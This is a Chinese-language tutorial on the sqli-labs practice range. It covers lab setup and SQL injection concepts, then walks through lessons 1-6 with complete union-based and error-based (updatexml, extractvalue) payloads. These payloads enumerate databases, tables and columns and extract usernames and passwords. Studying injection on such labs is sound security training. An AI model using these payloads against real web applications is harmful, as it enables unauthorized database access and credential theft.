WEB常见漏洞之SQL注入(靶场篇—1)1

简介: WEB常见漏洞之SQL注入(靶场篇—1)

0x01 简介

sqli靶场版

SqliLabs 是一个学习 SQL 注入的靶场,它提供了 GET 和 POST 的实验场景,涵盖了联合查询注入、基于报错的注入、基于时间的盲注、基于布尔的盲注、堆叠注入、二次注入以及各种注入绕过。

0x02 环境配置


靶场地址:https://github.com/Audi-1/sqli-labs

在 Windows 下使用 phpstudy 搭建靶场环境,将靶场放置到其 web 环境当中

成功访问说明靶场已经部署完成,接下来需要配置数据库连接

在/sql-connections目录下存在db-creds.inc数据库连接配置文件,设置数据库账号密码以及对应地址






$dbuser ='root';$dbpass ='root';$dbname ="security";$host = 'localhost';$dbname1 = "challenges";

完成后访问靶场,点击setup databases for labs搭建数据库环境

完成后便可快乐的注入了

闯关之前先了解常见的闭合方式、查询语法以及注入的分类




























常见的几个闭合方式:or 1=1 -- +'or 1=1 -- +            "or 1=1 -- +)or 1=1 -- +")or 1=1 -- +"))or 1=1 -- +用闭合的是数字型注入方式,不用闭合的是字符型注入方式union联合注入:sql union语法:select column name(s) from table_name1unionselect column name(s) from table_name2常用的sql注入查询函数:database()                数据库的名version()                 mysql的版本信息user()                    数据库的用户名@@datadir                 数据库路径@@version_compile_os      操作系统的版本select schema_name from information_schema.schemata    查库select table_name from information_schema.tables where table_schema='security'   查表select column_name from information_schema.columns where table_name='users'      查列select username,password from security.users           查字段select table_schema,table_name from information_chema.tables where table_schema='数据库名';table_schema是查询数据库名称(该字段存储数据库名)table_name是查询表名(该字段存储对应数据库中的包括的表名)from information_chema是从这个数据库里来查询tables这个表

注入的分类:















































数字型和字符型。攻击者目的只有一点,那就是绕过程序的限制,使用户输入的数据带入数据库执行,利用数据库的特殊性获取更多的信息或者更大的权限。1、数字型注入当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。测试步骤:(1) 加单引号,URL:www.text.com/text.php?id=3’对应的sql:select* from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;(2) 加and 1=1,URL:www.text.com/text.php?id=3 and 1=1对应的sql:select* from table where id=3’ and 1=1 语句执行正常,与原始页面如任何差异;(3) 加and 1=2,URL:www.text.com/text.php?id=3 and 1=2对应的sql:select* from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异如果满足以上三点,则可以判断该URL存在数字型注入。2、字符型注入当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。例如数字型语句:select * from table where id=3则字符型如下:select * from table wherename=’admin’因此,在构造payload时通过闭合单引号可以成功执行语句:测试步骤:(1) 加单引号:select* from table where name=’admin’’由于加单引号后变成三个单引号,则无法执行,程序会报错;(2) 加 ’and1=1 此时sql 语句为:select * fromtable where name=’admin’ and 1=1’ ,也无法进行注入,还需要通过注释符号将其绕过;Mysql 有三种常用注释符:-- 注意,这种注释符后边有一个空格# 通过#进行注释/* */ 注释掉符号内的内容因此,构造语句为:select * from table wherename =’admin’ and 1=1—’ 可成功执行返回结果正确;(3) 加and1=2— 此时sql语句为:select * fromtable where name=’admin’ and 1=2 –’则会报错如果满足以上三点,可以判断该url为字符型注入。Sql注入分类可以按照参数类型分为数字型和字符型。还有一些常见的注入分类,例如:(1)POST:注入字段位于POST数据中;(2)Cookie:注入字段位于Cookie数据中;(3)延时注入:根据数据库延时特性的注入(4)搜索注入:注入字段在搜索的位置;(5)base64注入:注入字符经过base64编码后注入;(7)错误注入:基于数据库错误信息的响应注入;

0x03 小试牛刀 1-20

1-20关通过请求参数值、HTTP请求头、请求方法、利用场景的不断变化,我们需要选择适当的注入方法进行SQL注入。

Lesson-1

该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注


id=1'

目标SQL语句如下:







$sql = select * from users where id='$id' limit 0,1## 返回内容if true:    输出查询内容else:    print_r(mysql_error());

通过联合查询判断注入点,尝试验证


id=1' AND '1'='1 //返回正常界面


id=1' AND '1'='2 //返回错误界面

使用 order by 判断字段数


id=1' order by 3--+ //返回正常界面


id=1' order by 4--+ //返回错误界面

由此可说明字段数为3,通过 union select 查看回显位置


id=-1' union select 1,2,3--+

查询基础信息



id=-1' union select 1,version(),user()--+id=-1' union select 1,@@version_compile_os(),database()--+

查询表名


id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'--+

查询列名


id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+

查询关键信息


id=-1' union select 1,group_concat(username),group_concat(password) from users--+

Lesson-2

该题为数字型get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注

id=1'

目标SQL语句如下:







$sql = select * from users where id=$id limit 0,1# 返回内容if true:    输出查询内容else:    print_r(mysql_error());

使用联合查询判断注入点,尝试验证


id=1 AND 1=1 //返回正常界面


id=1 AND 1=2 //返回错误界面

判断字段数


id=1 order by 3--+ //返回正常界面


id=1 order by 4--+ //返回错误界面

由此可说明字段数为3,通过 union select 查看回显位置


id=-1 union select 1,2,3--+

查询基础信息



id=-1 union select 1,version(),user()--+id=-1 union select 1,2,database()--+

查询表名


id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'--+

查询列名


id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+

查询关键信息


id=-1 union select 1,group_concat(username),group_concat(password) from users--+

Lesson-3

该题为单引号单括号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注


id=1'

目标SQL语句如下:







$sql = select * from users where id=('$id') limit 0,1# 返回内容if true:    输出查询内容else:    print_r(mysql_error());

使用联合查询判断注入点,尝试验证


id=1') AND ('1')=('1 //返回正常界面


id=1') AND ('1')=('2 //返回错误界面

判断字段数


id=1') order by 3--+ //返回正常界面


id=1') order by 4--+ //返回错误界面

由此可说明字段数为3,通过 union select 查看回显位置


id=-1') union select 1,2,3--+

查询基础信息



id=-1') union select 1,version(),user()--+id=-1') union select 1,2,database()--+

查询表名


id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'--+

查询列名


id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+

查询关键信息


id=-1') union select 1,group_concat(username),group_concat(password) from users--+

Lesson-4

该题为双引号单括号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注


id=1"

目标SQL语句如下:







$sql = select * from users where id=("$id") limit 0,1# 返回内容if true:    输出查询内容else:    print_r(mysql_error());

使用联合查询判断注入点,尝试验证


id=1") AND ("1")=("1 //返回正常界面


id=1") AND ("1")=("2 //返回错误界面

判断字段数


id=1") order by 3--+ //返回正常界面


id=1") order by 4--+ //返回错误界面

由此可说明字段数为3,通过 union select 查看回显位置


id=-1") union select 1,2,3--+

查询基础信息



id=-1") union select 1,version(),user()--+id=-1") union select 1,2,database()--+

查询表名


id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'--+

查询列名


id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+

查询关键信息


id=-1") union select 1,group_concat(username),group_concat(password) from users--+

Lesson-5

该题为单引号get型注入,利用方式包括报错注入、布尔盲注、时间盲注


id=1'

目标SQL语句如下:







$sql = select * from users where id='$id' limit 0,1# 返回内容if true:    输出 You are in...... else:    print_r(mysql_error());

注意:本题与之前稍有不同,由于不输出查询结果,因此不可以使用联合查询的注入方式,但是这并不影响正常使用报错注入、布尔盲注、时间盲注等

通过报错注入判断注入点,尝试验证


id=1' AND '1'='1 //返回正常界面


id=1' AND '1'='2 //返回错误界面

查询基础信息









id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+id=1' and (select count(*) from users group by concat((select user()),floor(rand(0)*2)))--+id=1' and extractvalue(1,concat(0x7e,(select user()),0x7e))--+
id=1' and updatexml(1,concat(0x7e,(select version()),0x7e),1)--+ id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+id=1' and updatexml(1,concat(0x7e,(select @@version_compile_os()),0x7e),1)--+

查询表名


id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e),1)--+

查询列名


id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users"),0x7e),1)--+

查询关键信息,通过更改 limit 中的前后位数字可控制数据显示位置以及数量


id=1' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1)--+


id=1' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 1,1),0x7e),1)--+

Lesson-6

该题为双引号get型注入,利用方式包括报错注入、布尔盲注、时间盲注


id=1"

目标SQL语句如下:








$id = '"'.$id.'"'$sql = select * from users where id=$id limit 0,1# 返回内容if true:    输出 You are in...... else:    print_r(mysql_error());

注意:本题与之前稍有不同,由于不输出查询结果,因此不可以使用联合查询的注入方式,但是这并不影响正常使用报错注入、布尔盲注、时间盲注等

通过报错注入判断注入点,尝试验证


id=1" AND "1"="1 //返回正常界面


id=1" AND "1"="2 //返回错误界面

查询基础信息





id=1" and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+ id=1" and updatexml(1,concat(0x7e,(select version()),0x7e),1)--+ id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+id=1" and updatexml(1,concat(0x7e,(select @@version_compile_os()),0x7e),1)--+

查询表名


id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e),1)--+

查询列名


id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users"),0x7e),1)--+

查询关键信息,通过更改 limit 中的前后位数字可控制数据显示位置以及数量


id=1" and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1)--+


id=1' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 1,1),0x7e),1)--+

相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。   相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情: https://www.aliyun.com/product/rds/mysql 
目录
相关文章
|
11月前
|
存储 JavaScript 安全
Web渗透-XSS漏洞深入及xss-labs靶场实战
XSS(跨站脚本攻击)是常见的Web安全漏洞,通过在网页中注入恶意脚本,窃取用户信息或执行非法操作。本文介绍其原理、分类(反射型、存储型、DOM型)、测试方法及xss-labs靶场实战案例,帮助理解与防御XSS攻击。
3038 1
Web渗透-XSS漏洞深入及xss-labs靶场实战
|
12月前
|
SQL Web App开发 安全
SQL Server 2025 年 8 月更新 - 修复 CVE-2025-49759 SQL Server 特权提升漏洞
SQL Server 2025 年 8 月更新 - 修复 CVE-2025-49759 SQL Server 特权提升漏洞
881 2
SQL Server 2025 年 8 月更新 - 修复 CVE-2025-49759 SQL Server 特权提升漏洞
|
11月前
|
安全 Linux PHP
Web渗透-命令执行漏洞-及常见靶场检测实战
命令执行漏洞(RCE)指应用程序调用系统命令时,用户可控制输入参数,导致恶意命令被拼接执行,从而危害系统安全。常见于PHP的system、exec等函数。攻击者可通过命令连接符在目标系统上执行任意命令,造成数据泄露或服务瘫痪。漏洞成因包括代码层过滤不严、第三方组件缺陷等。可通过参数过滤、最小权限运行等方式防御。本文还介绍了绕过方式、靶场测试及复现过程。
2033 0
|
11月前
|
SQL Web App开发 安全
SQL Server 2025 年 9 月更新 - 修复 CVE-2025-47997 SQL Server 信息泄露漏洞
SQL Server 2025 年 9 月更新 - 修复 CVE-2025-47997 SQL Server 信息泄露漏洞
693 0
SQL Server 2025 年 9 月更新 - 修复 CVE-2025-47997 SQL Server 信息泄露漏洞
|
SQL 安全 数据库连接
除了使用Django的ORM,还能通过什么方式在Django中避免SQL注入漏洞?
除了使用Django的ORM,还能通过什么方式在Django中避免SQL注入漏洞?
609 170
|
SQL 安全 数据库
如何在Django中正确使用参数化查询或ORM来避免SQL注入漏洞?
如何在Django中正确使用参数化查询或ORM来避免SQL注入漏洞?
1099 173
|
SQL Web App开发 安全
SQL Server 2025年7月更新 - 修复 CVE-2025-49718 Microsoft SQL Server 信息泄露漏洞
SQL Server 2025年7月更新 - 修复 CVE-2025-49718 Microsoft SQL Server 信息泄露漏洞
1162 0
SQL Server 2025年7月更新 - 修复 CVE-2025-49718 Microsoft SQL Server 信息泄露漏洞
|
SQL 安全 PHP
thinkphp5之sql注入漏洞-builder处漏洞
在Web应用开发中,SQL注入是一种需要高度警惕的安全漏洞。通过深入理解ThinkPHP5中的SQL查询机制,并结合安全编码实践,开发者可以有效防止SQL注入攻击,保障应用的安全性和稳定性。
626 13
|
SQL 安全 前端开发
Web学习_SQL注入_联合查询注入
联合查询注入是一种强大的SQL注入攻击方式,攻击者可以通过 `UNION`语句合并多个查询的结果,从而获取敏感信息。防御SQL注入需要多层次的措施,包括使用预处理语句和参数化查询、输入验证和过滤、最小权限原则、隐藏错误信息以及使用Web应用防火墙。通过这些措施,可以有效地提高Web应用程序的安全性,防止SQL注入攻击。
976 2